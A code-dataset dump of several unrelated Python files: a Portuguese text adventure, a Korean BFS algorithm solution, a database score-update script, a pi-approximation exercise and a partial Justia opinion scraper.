print(RED)\n    linha(10,\"=+=\")\n    print(\"GAME OVER!\")\n    linha(10,\"=+=\")\n\ndef opcaoSobre():\n    print(GREEN)\n    linha(30,\"=+=\")\n    print('Olá, bem-vindo e veja um pouco mais sobre nosso jogo!')\n    print('JOGO FEITOR POR PEDRO HENRIQUE(PROGRAMADOR) & THIAGO DE ARAÚJO (DESING GRÁFICO)')\n    print('Versão: BETA 5.0.2')\n    linha(30,\"=+=\")\n    tempo(0.5)\n    novaLinha()\n    linha(52,\"---\")\n    print('Sobre: A história do jogo conta sobre Mayws... um homen que perdeu sua familía em um bombardeio na primeira guerra mundial e 7 após esse evento traumatizante, Mayws trabalha em um cemitério enterrando corpos, mas a loucura do passado lhe assombra de uma maneira infernal...')\n    linha(52,\"---\")\n    novaLinha()\n    print('Digite \"S\" para voltar a tela inicial ou \"M\" para voltar ao menu.')\n\n    while True:\n        presskm = str(input(\":\")).upper().strip()\n        if presskm == \"S\":\n            limpaTela()\n            menuStart()\n            break\n        elif presskm == \"M\":\n            limpaTela()\n            opcaoMenu()\n            break\n        else:\n            opcaoError()\n\n    print(RESET)\n\ndef opcaoMenu():\n    print(CYAN +'     ______________')\n    print('     | PERSONAGEM |')\n    print('     --------------\\n')\n    tempo(0.5)\n    print('     _____________')\n    print('     | CONTROLES |')\n    print('     -------------\\n' + RESET)\n    tempo(0.5)\n\n    while True:\n        opcaomenu = str(input(GREEN + 'DIGITE \"P\" PARA VER O PERSONAGEM / \"C\" PARA VER OS CONTROLES OU \"S\" PARA VOLTAR A TELA INICIAL:' + RESET)).upper().strip()\n        if opcaomenu == 'P':\n            limpaTela()\n            personagem()\n            break\n        elif opcaomenu == 'C':\n            limpaTela()\n            controlesJogo()\n            break\n        elif opcaomenu == \"S\":\n            limpaTela()\n            menuStart()\n            break\n        else:\n            opcaoError()\n\ndef menuStart():\n    print(CYAN + '     _________')\n    print('     | START |')\n    print('     ---------\\n')\n    tempo(0.5)\n    print('     _________')\n    print('     |  MENU |')\n    print('     ---------\\n')\n    tempo(0.5)\n    print('     _________')\n    print('     | SOBRE |')\n    print('     ---------\\n' + RESET)\n    print(GREEN + 'DIGITE \"S\" PARA INICIAR')\n    print('DIGITE \"M\" PARA VER O MENU')\n    print('DIGITE \"A\" PARA VER MAIS'+ RESET )\n\n    while True:\n        opcaostart = str(input(': ')).upper().strip()\n        if opcaostart == 'M':\n            limpaTela()\n            opcaoMenu()\n            break\n        elif opcaostart == 'A':\n            limpaTela()\n            opcaoSobre()\n            break\n        elif opcaostart == 'S':\n            break\n        else:\n            opcaoError()\n    limpaTela()\n    tempo(1)\n\n\ndef pressEnter():\n    while True:\n        enter = str(input(WHITE +'Pressione ENTER para continuar...' + RESET))\n        if enter != \"\":\n            limpaTela()\n        else:\n            break\n        limpaTela()\ndef cemiterioM():\n    tempo(0.5)\n    novaLinha()\n    print(\"CEMITÉRIO DE MACNHESTER\")\n    print(\"   __\")\n    print(\"__| |__\")\n    print(\"|__  __|\")\n    print(\"  | |\")\n    print(\"  | |\")\n    print(\"~~|~~~~~~\")\n    print(\"~~ ~ ~~~~~~\")\n    print(\"~~~~~~~~~~~~~~\")\n\ndef carro():\n    tempo(0.5)\n    novaLinha()\n    print(\"       ________\")\n    print(\" _____/ __|_____\\.\")\n    print(\"/         |°     |\")\n    print(\"---(*) ----(*) --\")\n\nlimpaTela()\nmenuStart()\nnovaLinha()\nlinha(50,WHITE +\"##\")\nprint(RED + \"SEJA MUITO BEM VINDO AMANTE DA LOUCURA AO NOSSO JOGO! ESCOLHA,EXPLORE E MORRA! HAHAHHAHAA!\" + RESET)\nlinha(50, WHITE + \"##\")\ntempo(2)\nprint(RESET)\ntempo(2)\nlinha(25, \"---\")\np(GREEN + \"PARA VER AS CONFIGURAÇÕES DO JOGO APERTE 'M' \" + RESET)\nlinha(25, WHITE + \"---\")\ntempo(2)\nnovaLinha()\n\np(GREEN + \"CARREGANDO.................[//////---] 70%\")\ntempo(1)\np(\"CARREGANDO.................[///////--] 80%\")\ntempo(1)\np(\"CARREGANDO.................[////////-] 90%\")\ntempo(1)\np(\"CARREGANDO.................[//////////] 100%\")\n\ntempo(3)\nlimpaTela()\nlinha(60,WHITE + \"-\" )\ntempo(0.5)\nprint(RESET + \"\"\"Em 1914 inicia-se a primeira guerra mundial da história,\ncontendo 17 países confrontado pela França X União Soviética,\num desses países era a Inglaterra... Meu país...\"\"\")\ntempo(0.5)\nlinha(60, WHITE + \"-\")\npressEnter()\n\nnovaLinha()\nprint(CYAN + \"MANCHESTER, INGLATERRA...\")\ntempo(1)\nnovaLinha()\n\nlinha(20,\"=+=\")\ntempo(1)\nprint('17 de abril de 1925 - Sexta-Feira.... Primavera')\ntempo(1)\nlinha(20,\"=+=\")\n\ntempo(3)\nlimpaTela()\nrepetirHora(\"0\",5,\":\",10,5)\nnovaLinha()\np(\"BIPPPPP!!!!\")\nprint(\"*******\")\nprint(\"([o . o])\"+ RESET)\ntempo(2)\nlimpaTela()\nescolha( \"\"\"Mayws.. Um homen simples acorda 05:30 e levanta de sua cama piscando lentamente, pega seus ocúlos\ne se dirige a cozinha,bebe um copo d'água e pensa no que fazer pela manhã VAMOS VER...\"\"\")\nprint(CYAN + \"|~~|\")\nprint(\"|  |\")\nprint(\"|__|\")\npressEnter()\nnovaLinha()\n\nopcaoGame(\"FAZER CAFÉ\", \"BEBER WISKY\")\n\nrepetirNum(5,1)\nnovaLinha()\nop1 = 0\nwhile True:\n    opcao = str(input(GREEN + \"QUAL OPÇÃO DESEJA? [A/B]: \" + RESET)).upper()\n    if opcao == \"A\":\n        op1 +=1\n        limpaTela()\n        escolha(CYAN + \"MAYWS FAZ O CAFÉ MAS FICA EM DÚVIDA DO QUE COMER...\")\n        print(\" ~~~§§§§§\")\n        print(\"|________|\")\n        print(\"|       /]\")\n        print(\"\\______/\")\n        pressEnter()\n        novaLinha()\n        opcaoGame(\"UM PEDAÇO DE PÃO\", \"UM RESTO DE BOLO FOFO\")\n        print(\"/--------\\.\")\n        print(\"| °    °  |\")\n        print(\"\\_________/\")\n        tempo(0.5)\n        novaLinha()\n        print(\"       __C__\")\n        print(\"     _|____|_\")\n        print(\"   _|________|_\")\n        print(\"  |____________|\")\n        repetirNum(5,1)\n        break\n    elif opcao == \"B\":\n        op1 +=2\n        limpaTela()\n        escolha(CYAN + \"MAYWS QUER SEU WISKY PARA ACORDAR... COMO BEBER?\")\n        pressEnter()\n        novaLinha()\n        opcaoGame(\"UM COPINHO...\", \"VIRAR A GARRAFA TODA!\")\n        print(\"|__|\")\n        tempo(0.5)\n        novaLinha()\n        print(\"   __\")\n        print(\"  [ ]\")\n        print(\" /   \\.\")\n        print(\"/     \\.\") \n        print(\"|     |\")\n        print(\"|     |\")\n        print(\"|     |\")\n        print(\"\\_____/\")\n        repetirNum(5,1)\n        break\n    else:\n        linha(RED + \"=-=\",20)\n        print(\"OPÇÃO ERRADA! TENTE NOVAMENTE!\")\n        linha(\"=-=\", 20)\n        print(RESET)\ndef ruaAvenida(opcaoavenida):\n        if opcaoavenida == \"A\":\n            escolha(CYAN + \"VOCÊ CHEGA NO CEMITÉRIO DE MANCHESTER ÁS 07:15 E BATE SEU PONTO , A MANHà PARECE FRIA HOJE...\")\n            cemiterioM()\n            pressEnter()\n            novaLinha()\n            return opcaoavenida\n        else:\n            escolha(CYAN + \"MAYWS ESTÁ ANDANDO E VÊ UMA LOJA COM UMA BANCADA DE JORNAIS NO POSTO DE GASOLINA...OPS! VOCÊ TEM £0,25 O QUE ACHA DE UM JORNAL?\")\n            novaLinha()\n            print(\"Gas Station\")\n            print(\" __________\")\n            print(\"/          \\.\")\n            print(\" ----------\")\n            print(\" | []     |\")\n            print(\" | [^     |\")\n            print(\" | []     |\")\n            print(\" ------------------------\")\n            pressEnter()\n            novaLinha()\n            opcaoGame(\"COMPRAR JORNAL £££\", \"NÃO COMPRAR E IR LOGO... -> ->\")\n            repetirNum(5,1)\n\ndef jornalCarona(opcaojc):\n     if opcaojc == \"A\":\n                escolha(CYAN + \"O JORNAL VINHA COM ALGUMAS INFORMAÇÕES INRRELEVANTES, MAS A PRINCIPAL ERA SOBRE...\")\n                pressEnter()\n                novaLinha()\n                print(\"_____________\")\n                print(\"|  JOURNAL  |\")\n                print(\"|           |\")\n                print(\"-------------\")\n                print(\"|~~~~ |     |\")\n                print(\"| ~~~ |     |\")\n                print(\"| ~~~~~~~~  |\")\n                print(\"| --------  |\")\n                print(\"| --------  |\")\n                print(\"|___________|\")\n                tempo(3)\n                novaLinha()\n                escolha(CYAN + \"MAYWS SE ENTRISTECE AO LER... PESADELOS AINDA-OS ASSOMBRA.. MAYWS SE DIRIGE AO TRABALHO...\")\n                pressEnter()\n                tempo(0.5)\n                novaLinha()\n                cemiterioM()\n                escolha(\"CHEGANDO CEMITÉRIO ÁS 07:15 MAYWS VÊ UM NEVOEIRO DENSO, COM SEU SOBRETUDO ELE ENTRA E VAI PARA A CABANA DE FERRAMENTAS\")\n                novaLinha()\n                tempo(1)\n                return opcaojc\n                \n     else:\n        escolha(CYAN + \"SEU CHEFE PASSA PARA REABASTECER O TANQUE E O VÊ, ENTÃO LHE OFERECE UMA CARONA ATÉ O TRABALHO...\")\n        pressEnter()\n        novaLinha()\n        carro()\n        tempo(2)\n        opcaoGame(CYAN + \"ACEITAR A CARONA\",\"REJEITAR EDUCADAMENTE E IR A PÉ\")\n        repetirNum(5,1)\n        \ndef caronaAceita(opcaocarona):\n    if opcaocarona == \"A\":\n        escolha(CYAN + \"MAYWS ENTRA NO CARRO DE SEU CHEFE...\")\n        pressEnter()\n        p(YELLOW + \"- Bom dia Mayws\")\n        tempo(2)\n        p(BLUE + \"> Bom dia\")\n        tempo(2)\n        p(YELLOW +\"- Que belo sexta, hoje a maxíma é de 10°C\")\n        tempo(2)\n        p(BLUE + \"> Sim.. Parece bom.\")\n        tempo(2)\n        p(YELLOW +\"- Então...\")\n        tempo(2)\n        p(YELLOW +\"- Como está a vida? Parece cansado...\")\n        tempo(2)\n        p(BLUE + \"> Vai normal.. hoje o turno é o mesmo?\")\n        tempo(2)\n        p(\"- Sim, inclusive... teremos menos mortos hoje, afinal é uma sexta não?\")\n        tempo(3)\n        p(BLUE + \"> ...\")\n        tempo(2)\n        p(YELLOW +\"- Brincadeiras a parte,mas Mayws....\")\n        tempo(2)\n        p(YELLOW +\"- Você ainda sente falta dele?\")\n        tempo(2)\n        p(YELLOW +\"- Sabe que somos amigos há muito tempo... Você precisa melhorar.. ver o valor da vida mesmo tendo acontecido aquilo.\")\n        tempo(3)\n        p(BLUE + \"> É, estou tentando que posso...\")\n        tempo(2)\n\n        print(GREEN + \" * CARRO PARANDO * \")\n        tempo(2.5)\n        \n        p(YELLOW +\"- Chegamos.. Poucos enterros hoje,o dia promete em, pronto?\")\n        tempo(3)\n        p(BLUE + \"> Sim, vamos...\")\n        tempo(1.5)\n        cemiterioM()\n        novaLinha()\n        \n    else:\n        escolha(CYAN + \"MAYWS RECUSA A CARONA DE SEU CHEFE EDUCADAMENTE E DIZ QUE VAI A PÉ PARA OBSERVAR O MUNDO...\")\n        pressEnter()\n        escolha(\"CHEGANDO CEMITÉRIO ÁS 07:15 MAYWS VÊ UM NEVOEIRO DENSO, COM SEU SOBRETUDO ELE ENTRA E VAI PARA A CABANA DE FERRAMENTAS\")\n        cemiterioM()\n        novaLinha()\n        tempo(0.5)\n        pressEnter()\n        gameOver()\n        return opcaocarona\n\ncont = 0\ndistancia = 1000 \n\nwhile True:\n\n    opcao = str(input(GREEN + \"QUAL OPÇÃO DESEJA? [A/B]: \")).upper()\n    tempo(1)\n    novaLinha()\n\n    if opcao == \"A\" or opcao == \"B\" and op1 == 1:\n        limpaTela()\n        escolha(CYAN + \"MAYWS TOMA SEU BANHO E SE DIRIGE AO SEU TRABALHO... QUAL CAMINHO IR?\")\n        pressEnter()\n        novaLinha()\n        opcaoGame(\"IR PELA QUADRA PRINCIPAL DE CARRO,E,RAPIDAMENTE CHEGAR AO TRABALHO\", \"IR PELA AVENIDA PRINCIPAL A PÉ, ANDAR UM POUCO E OBSERVAR O MUNDO...\")\n        repetirNum(5,1)\n\n        while True:\n            opcaoavenida = str(input(GREEN + \"QUAL OPÇÃO DESEJA? [A/B]: \")).upper().strip()\n            if opcaoavenida == \"A\" or opcaoavenida == \"B\":\n                break\n            else:\n                opcaoError()\n                \n        ruaAvenida(opcaoavenida)\n        if opcaoavenida == \"A\":\n            break\n\n        while True:\n            opcaojc = str(input(GREEN + \"QUAL OPÇAO DESEJA? [A/B]: \")).upper().strip()\n            if opcaojc == \"A\" or opcaojc == \"B\":\n                break\n            else:\n                opcaoError()\n\n        jornalCarona(opcaojc)\n        if opcaojc == \"A\":\n            break\n        while True:\n            opcaocarona = str(input(GREEN + \"QUAL OPÇÃO DESEJA? [A/B]: \")).upper().strip()\n            if opcaocarona == \"A\" or opcaocarona == \"B\":\n                break\n            else:\n                opcaoError()\n\n        caronaAceita(opcaocarona)\n        if opcaocarona == \"B\":\n            break\n\n    elif opcao == \"A\" and op1 == 2:\n        limpaTela()\n        escolha(CYAN + \"MAYWS TOMA SUE COPINHO DE WISKY PARA ACORDAR, E SE DIRIGE AO BANHEIRO PARA LAVAR SEU ROSTO.. QUAL CAMINHO IREMOS AO TRABALHO?\")\n        pressEnter()\n        novaLinha()\n        opcaoGame(\"IR PELA QUADRA PRINCIPAL DE CARRO,E,RAPIDAMENTE CHEGAR AO TRABALHO\", \"IR PELA AVENIDA PRINCIPAL A PÉ, ANDAR UM POUCO E OBSERVAR O MUNDO...\")\n        repetirNum(5,1) \n\n        while True:\n            opcaoavenida = str(input(GREEN + \"QUAL OPÇÃO DESEJA? [A/B]: \")).upper().strip()\n            if opcaoavenida == \"A\" or opcaoavenida == \"B\":\n                break\n            else:\n                opcaoError()\n\n        ruaAvenida(opcaoavenida)\n        if ruaAvenida == \"A\":\n            break\n\n        while True:\n            opcaojc = str(input(GREEN + \"QUAL OPÇAO DESEJA? [A/B]: \")).upper().strip()\n            if opcaojc == \"A\" or opcaojc == \"B\":\n                break\n            else:\n                opcaoError()\n\n        jornalCarona(opcaojc)\n        if jornalCarona == \"A\":\n            break\n        while True:\n            opcaocarona = str(input(GREEN + \"QUAL OPÇÃO DESEJA? [A/B]: \")).upper().strip()\n            if opcaocarona == \"A\" or opcaocarona == \"B\":\n                break\n            else:\n                opcaoError()\n\n        caronaAceita(opcaocarona)\n        if caronaAceita == \"B\":\n            break\n         \n    elif opcao == \"B\" and op1 == 2:\n        limpaTela()\n        print(\"-\" * 60)\n        print(RED + \"MAYWS FICA BEBADO E VAI PARA O TRABALHO,LAVANDO SEU ROSTO E INDO PARA SUA GARAGEM... LIGA SEU CARRO E VAI AO TRABALHO...\" + RESET)\n        print(\"-\" * 60)\n        carro()\n        pressEnter()\n        for carro in range(1,100):\n            if carro == 1:\n                print(YELLOW + \"  QUADRA PRINCIPAL\")\n                time.sleep(8)\n            print(\"    #    |    #\")\n            time.sleep(0.1)\n            cont += 1\n            if cont == 10:\n                time.sleep(1)\n                print(f\"       .[+].    {distancia} metros\")\n                distancia -= 100\n                cont = 0\n        tempo(1)\n        print(GREEN + \"\"\"\n                #############\n            ######################   MAYWS DE TÃO BEBADO NÃO PERCEBEU QUE DESVIOU DA PISTA E QUE HÁ UMA AVORE\n        ###########################  APENAS A 30M DE DISTÂNCIA E SUA LAMBORGHINI ESTÁ EM 60KM/H... \n        ###############################  PENSE RAPIDAMENTE!\n        ############################\n        #########################\n            ######################\n                    |    |\n                    |      |\n                    |     |\n                    |      |\n                    |    |\n                ====#     #====     30 metros!!!!!\n        \"\"\")\n        tempo(5)\n        opcaoGame(CYAN + \"DEIXAR BATER...\",\"TENTAR DESVIAR!\")\n        repetirNum(3,1)\n        opcaox = str(input(GREEN + \"Digite a opção que deseja [A/B]: \" + RESET)).upper()\n\n        if opcaox == \"A\":\n            limpaTela()\n            print(\"-\" * 60)\n            print(RED + \"MAYWS BATE O CARRO EM UMA VELOCIDADE ABISMAL CONTRA ARVORE,FAZENDO O MOTOR EXPLODIR E JA INCONCIENTE MORRE...\" + RESET)\n            print(\"-\" * 60)\n            pressEnter()\n            novaLinha()\n            tempo(1)\n            print(\"\"\"\n███████████████████████████\n███████▀▀▀░░░░░░░▀▀▀███████\n████▀░░░░░░░░░░░░░░░░░▀████\n███│░░░░░░░░░░░░░░░░░░░│███\n██▌│░░░░░░░░░░░░░░░░░░░│▐██\n██░└┐░░░░░░░░░░░░░░░░░┌┘░██\n██░░└┐░░░░░░░░░░░░░░░┌┘░░██\n██░░┌┘▄▄▄▄▄░░░░░▄▄▄▄▄└┐░░██\n██▌░│██████▌░░░▐██████│░▐██\n███░│▐███▀▀░░▄░░▀▀███▌│░███\n██▀─┘░░░░░░░▐█▌░░░░░░░└─▀██\n██▄░░░▄▄▄▓░░▀█▀░░▓▄▄▄░░░▄██\n████▄─┘██▌░░░░░░░▐██└─▄████\n█████░░▐█─┬┬┬┬┬┬┬─█▌░░█████\n████▌░░░▀┬┼┼┼┼┼┼┼┬▀░░░▐████\n█████▄░░░└┴┴┴┴┴┴┴┘░░░▄█████\n███████▄░░░░░░░░░░░▄███████\n██████████▄▄▄▄▄▄▄██████████\n███████████████████████████\"\"\")\n            gameOver()\n            break\n\n        elif opcaox == \"B\":\n            limpaTela()\n            escolha(\"MAYWS DESVIA DA ARVORE A TEMPO E CONSEGUE CHEGAR AO CEMITÉRIO NO HORÁRIO,AS 07:15\")\n            cemiterioM()\n            pressEnter()\n            novaLinha()\n            gameOver()\n            novaLinha()\n            break\n\n        else:\n            opcaoError()\n    else:\n        opcaoError()\n    break\npressEnter()\nnovaLinha()\nprint(MAGENTA)\nprint(\"OBRIGADO POR ACOMPANHAR E TESTAR A FASE BETA DO NOSSO JOGO MARAVILHOSO, A LOUCURA SE APROXIMA!\")\ntempo(4)\nnovaLinha()\nprint(\"CRÉDITOS: \")\ntempo(2)\nnovaLinha()\nprint(\"Programador por:   Pedro Henrique\")\ntempo(2)\nnovaLinha()\nprint(\"Design por:     Thiago de Araújo\")\ntempo(2)\nnovaLinha()\nprint(\"Roterizado por:    Thiago & Pedro\")\ntempo(2)\nnovaLinha()\nprint(\"Agradecimentos:  Positivo, Pycharm, VsCode, Python.\")\ntempo(2)\nnovaLinha()\nprint(\"\"\"\n================================================\n# Copyright 2023 | ThiagoDesing | HenriqueDev  #\n================================================\n\"\"\")\n","repo_name":"PedroJunior1630/Jogos","sub_path":"The madness approaches/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":22195,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"27314125816","text":"# 단지 번호 붙이기\n# 2667\n\n# 문제\n# https://www.acmicpc.net/problem/2667\n\n# 입력\n# 첫 번째 줄에는 지도의 크기 N(정사각형이므로 가로와 세로의 크기는 같으며 5≤N≤25)이 입력되고,\n# 그 다음 N줄에는 각각 N개의 자료(0혹은 1)가 입력된다.\n\n# 출력\n# 첫 번째 줄에는 총 단지수를 출력하시오.\n# 그리고 각 단지내 집의 수를 오름차순으로 정렬하여 한 줄에 하나씩 출력하시오.\n\n# 입력 예제\n# 7\n# 0110100\n# 0110101\n# 1110101\n# 0000111\n# 0100000\n# 0111110\n# 0111000\n\n# 출력 예제\n# 3\n# 7\n# 8\n# 9\n\nimport sys\nfrom collections import deque\nf = sys.stdin\nN = int(f.readline().strip())\narr = [[int(i) for i in list(f.readline().strip())] for _ in range(N)]\ndx = [0, 0, 1, -1]\ndy = [1, -1, 0, 0]\ncheck = [[0 for _ in range(N)] for _ in range(N)]\ncnt = 0\nhouseNum = deque()\n\ndef bfs(x, y):\n    from collections import deque\n    d = deque()\n    d.append([x, y])\n    check[x][y] = 1\n    houseCnt = 1\n\n    while(len(d) != 0):\n        x, y = d.popleft()\n        for i in range(4):\n            nx, ny = x + dx[i], y + dy[i]\n            if  nx >= 0 and nx < N and ny >= 0 and ny < N:\n                if arr[nx][ny] == 1 and check[nx][ny] == 0:\n                    check[nx][ny] = 1\n                    houseCnt += 1\n                    d.append([nx, ny])\n    return houseCnt\n\nfor i in range(N):\n    for j in range(N):\n        if arr[i][j] == 1 and check[i][j] == 0:\n            cnt += 1\n            houseNum.append(bfs(i, j))\n\nprint(cnt)\nhouseNum = sorted(houseNum)\nfor i in range(cnt):\n    print(houseNum[i])\n\n\n\n\n\n","repo_name":"koni114/algorithm_python_2020","sub_path":"baekjoon/chapter07_그래프/단지번호붙이기.py","file_name":"단지번호붙이기.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"15022614842","text":"# coding: utf-8\n\nfrom pythonmodules.config import Config\nimport psycopg2\nfrom tqdm import tqdm\nfrom pythonmodules.profiling import timeit\nfrom argparse import ArgumentParser\nfrom pywebserver.lib.matcher import Rater, Meta\nimport logging\nfrom pythonmodules.multithreading import multithreaded, singlethreaded\nfrom pythonmodules.mediahaven import MediaHaven\nfrom pythonmodules.namenlijst import Namenlijst\nfrom math import isclose\nimport json\nimport re\n\nparser = ArgumentParser(description='Add/fill in scores in link tables')\nparser.add_argument('--start', type=int, nargs='?', help='start from')\nparser.add_argument('--table', help='Origin table', default='attestation_linksolr')\nparser.add_argument('--limit', type=int, help='limit amount done')\nparser.add_argument('--clear-log-file', default=False, action='store_true', help='Empty the log file first')\nparser.add_argument('--log-file', type=str, default='fill_in_scores.log', help='Set log file name')\nparser.add_argument('--where', type=str, help='Extra where clause to pass to the select query (eg. \"status=1\")')\nparser.add_argument('--debug', action='store_true', default=False, help='Show debug logging')\nparser.add_argument('--threads', type=int, default=10, help='Amount of threads')\nargs = parser.parse_args()\n\nif args.clear_log_file:\n    open(args.log_file, 'w').close()\n\nlogLevel = logging.DEBUG if args.debug else logging.WARNING\nlogLevel = logging.WARNING\nlogging.basicConfig(level=logLevel)\nlogger = logging.getLogger()\nlogger.setLevel(logLevel)\nfh = logging.FileHandler(args.log_file)\nlogger.addHandler(fh)\n\ntable = args.table\nwheres = args.where + ' AND ' if args.where else ''\nwheres += 'status != 4 '  # skip skips\n\nconfig = Config(section='db')\nconn = psycopg2.connect(config['connection_url'])\ncur = conn.cursor()\n\nwith timeit('SELECT', 5000):\n    q = '''\n        SELECT \n            pid, \n            COUNT(*) as row_count \n        FROM %s \n        WHERE %s \n        GROUP BY pid \n        ORDER BY row_count DESC\n'''\n\n    q = q % (table, wheres)\n    if args.limit:\n        q += ' LIMIT %d' % int(args.limit)\n    if args.start:\n        q += ' OFFSET %d' % int(args.start)\n    cur.execute(q)\n\nget_meta = Meta()\n\nremove_double_spaces = re.compile('\\\\s+')\nremove_quality = re.compile(r' \"quality\": [0-9]\\.[0-9]+,')\nremove_ratingmultipl = re.compile(r', \"rating_multiplier\": [0-9]\\.[0-9]+')\nmodel_name = args.table.split('_')[-1]\n\nquery = 'SELECT id, pid, nmlid, entity, score, meta FROM %s WHERE %s AND pid = %%s ORDER BY id ASC' % \\\n        (table, wheres)\n\n\n@multithreaded(args.threads, pre_start=True, pass_thread_id=False, pbar=tqdm(total=cur.rowcount))\ndef process(row):\n    pid = row[0]\n\n    with conn.cursor() as cur3:\n        cur3.execute(query, (pid,))\n        if not cur3.rowcount:\n            return\n\n        r = 0\n        for row in cur3:  # tqdm(cur3, total=cur3.rowcount, desc=pid):\n            try:\n                process_pid(row)\n                r += 1\n            except Exception as e:\n                logger.error(e)\n            if r >= 10:\n                r = 0\n                conn.commit()\n        conn.commit()\n\n\ndef meta_to_comp_meta(meta):\n    if meta is not None:\n        meta = remove_quality.sub('', meta)\n        meta = remove_ratingmultipl.sub('', meta)\n    return meta\n\n\ndef process_pid(row):\n    try:\n        id_, full_pid, external_id, entity, score, meta = row\n        entity = remove_double_spaces.sub(' ', entity)\n        with timeit('Rater init', 1e3):\n            rater = Rater(full_pid, external_id, entity)\n        cur_rating = score\n        meta_old = None\n        if meta:\n            meta_old = meta\n\n        try:\n            meta = get_meta(full_pid, external_id, entity, score, meta)\n        except KeyError as e:\n            logger.warning(e)\n            with conn.cursor() as cur2:\n                cur2.execute('UPDATE ' + args.table + ' SET status=4 WHERE id=%s', [id_])\n                # conn.commit()\n\n        new_score = 0\n        try:\n            rating = rater.ratings()\n            meta['rating_breakdown'] = {k: rating.scores[k].rating for k in rating.scores}\n            meta['rating_multiplier'] = rating.total_multiplier\n            new_score = rating.total\n        except KeyError as e:\n            logger.warning(e)\n\n        toset = dict()\n        if not isclose(cur_rating, new_score, abs_tol=.0001):\n            toset['score'] = new_score\n\n        if 'quality' in meta:\n            del meta['quality']\n        meta = json.dumps(meta)\n\n        if meta_to_comp_meta(meta) != meta_to_comp_meta(meta_old):\n            toset['meta'] = meta\n\n        if not len(toset):\n            return\n\n        with timeit('SLOW UPDATE %s' % id_, 1e3), conn.cursor() as cur2:\n            keys = ','.join([k + ' = %s' for k in toset.keys()])\n            values = [toset[k] for k in toset.keys()]\n            values.append(id_)\n            cur2.execute('UPDATE ' + args.table + ' SET ' + keys + ' WHERE id=%s', values)\n            # conn2.commit()\n    except Exception as e:\n        try:\n            url = 'http://do-tst-mke-01.do.viaa.be/attestation/info/model-%s/%s/%s/%s' % \\\n                  (model_name, full_pid, external_id, entity.replace(' ', '/'))\n        except Exception as e2:\n            url = str(e2)\n        logger.warning('exception for %s', url)\n        logger.exception(e)\n\n\nprocess(cur)\n\nconn.commit()\n# try:\n#     conn2.commit()\n# except Exception as e:\n#     logger.info(e)\n\ncur.close()\nconn.close()\n# conn2.close()\n","repo_name":"viaacode/nvdgo-namelinking","sub_path":"fill_in_scores.py","file_name":"fill_in_scores.py","file_ext":"py","file_size_in_byte":5449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28111788910","text":"def GregoryLeibniz(n):\n    result = 0\n    for i in range(n):\n        result += 4 / (2*(i+1) - 1) * (-1)**i\n    return result\n\ndef Nilakantha(n):\n    result = 3\n    for i in range(n):\n        result += 4 / ((2*(i+2))*((2*(i+2))-1)*((2*(i+2))-2)*(-1)**i)\n    return result\n\nn = 100\nfor i in range(n):\n    print(i+1, GregoryLeibniz(i+1), Nilakantha(i+1))\n\npi = 3.1415927\naccuracy = 0.001\ni=0\ndiff = 1\nresult = 0\nwhile diff > accuracy:\n    result = GregoryLeibniz(i + 1)\n    diff = abs(result - pi)\n    i += 1\nprint(\"GregoryLeibniz\", i, result)\n\ni=0\ndiff = 1\nresult = 0\nwhile diff > accuracy:\n    result = Nilakantha(i + 1)\n    diff = abs(result - pi)\n    i += 1\nprint(\"Nilakantha\", i, result)\n\n\n\n","repo_name":"pengchen007/CSE2050","sub_path":"Lab01 Calculating Pi Skeleton Code/twopi11111.py","file_name":"twopi11111.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8449906412","text":"# This does a better job than the last downloader at grabbing content that is not so predictably named. \n#It uses CSS selectors to interact with the website in a way more similar to a human\n\nimport requests\nfrom bs4 import BeautifulSoup #for parsing our text files\nfrom bs4 import SoupStrainer\nimport itertools\nimport csv\nimport codecs\nimport os.path\nimport os\nimport time\nimport sys\n\n\ndef csvloader(year,number):\n    path = \"/Users/brianlibgober/Box Sync/Backup/Justia/CSVs/\" + str(year) + \"_table.csv\"\n    table = []\n    with open (path, 'rb') as fin:\n        reader = csv.reader(fin, delimiter=\"\\t\")\n        for row in itertools.islice(reader,number,None):\n            table.append(row)\n        return table\n\ndef extractor(toc,url):\n    #define an empty array for storing the texts we download\n    texts = []\n    names = []\n    bullets = toc.find_all('li')\n    #bullets.pop(0)\n    #grab an anchor containing a link we want\n    for li in bullets:\n        #define the anchor, assuming it exists\n        anchor = li.a\n        #grab the link extension contained in the anchor, if it exists\n        if anchor is not None:\n            link_extension = anchor.get('href')\n        else:\n            link_extension = \"\"\n        #use the extension to get text at the url we want to lookup\n        text = requests.get(url+link_extension).text\n        #add text to our collection\n        texts.append(text)\n        \n        #get the displayed text out of the link\n        displayed = [text for text in li.stripped_strings]\n        names.append(' '.join(displayed))\n    \n    return [texts,names]\n\n#to save the file\ndef saver(year,number,raw_pages,names,meta_data):\n    #we create a folder for every year, then a folder for every opinion, and then the texts all in separate files\n    save_parent_folder = \"/Users/brianlibgober/Box Sync/Backup/Justia/\" + str(year) + \"/\"\n    if not os.path.exists(save_parent_folder):\n        os.makedirs(save_parent_folder)\n    safe_case_name = str(meta_data[0]).replace(\"/\",\"-\")\n    save_folder = save_parent_folder + str(number) + \" \" + safe_case_name + \", \" + meta_data[2] + \"/\"\n    if not os.path.exists(save_folder):\n        os.makedirs(save_folder)\n    for i in range(len(names)):\n        save_file_name = save_folder + names[i].encode('utf-8') + \".txt\"\n        with codecs.open (save_file_name,mode=\"w+\", encoding=\"utf-8-sig\") as fout:\n            fout.write(raw_pages[i])\n\ndef main(year,start):\n    #load csv as array\n    table = csvloader(year,start)\n    \n    for i in range(len(table)):\n        number = i + start\n    \n        #take row's metadata\n        meta_data = table[i]\n        \n        #get the url\n        url = meta_data[3]\n        #load page,soupify, and store for usage.\n        index = requests.get(url).text\n        #Create special parsers for faster loading that we will use throughout\n        toc_parser= SoupStrainer(class_=\"centered-list clear\")\n            \n        #find the centered list which serves as the table of contents\n        toc = BeautifulSoup(index,\"html.parser\",parse_only=toc_parser)\n        \n        #extract the links and request the pages to get a list of the subelements and names we can use for saving\n        raw_content = extractor(toc,url)\n        #split this into two, the names and the opinion text\n        raw_pages = raw_content[0]\n        #names associated with the opinions\n        raw_names = raw_content[1]\n        #save 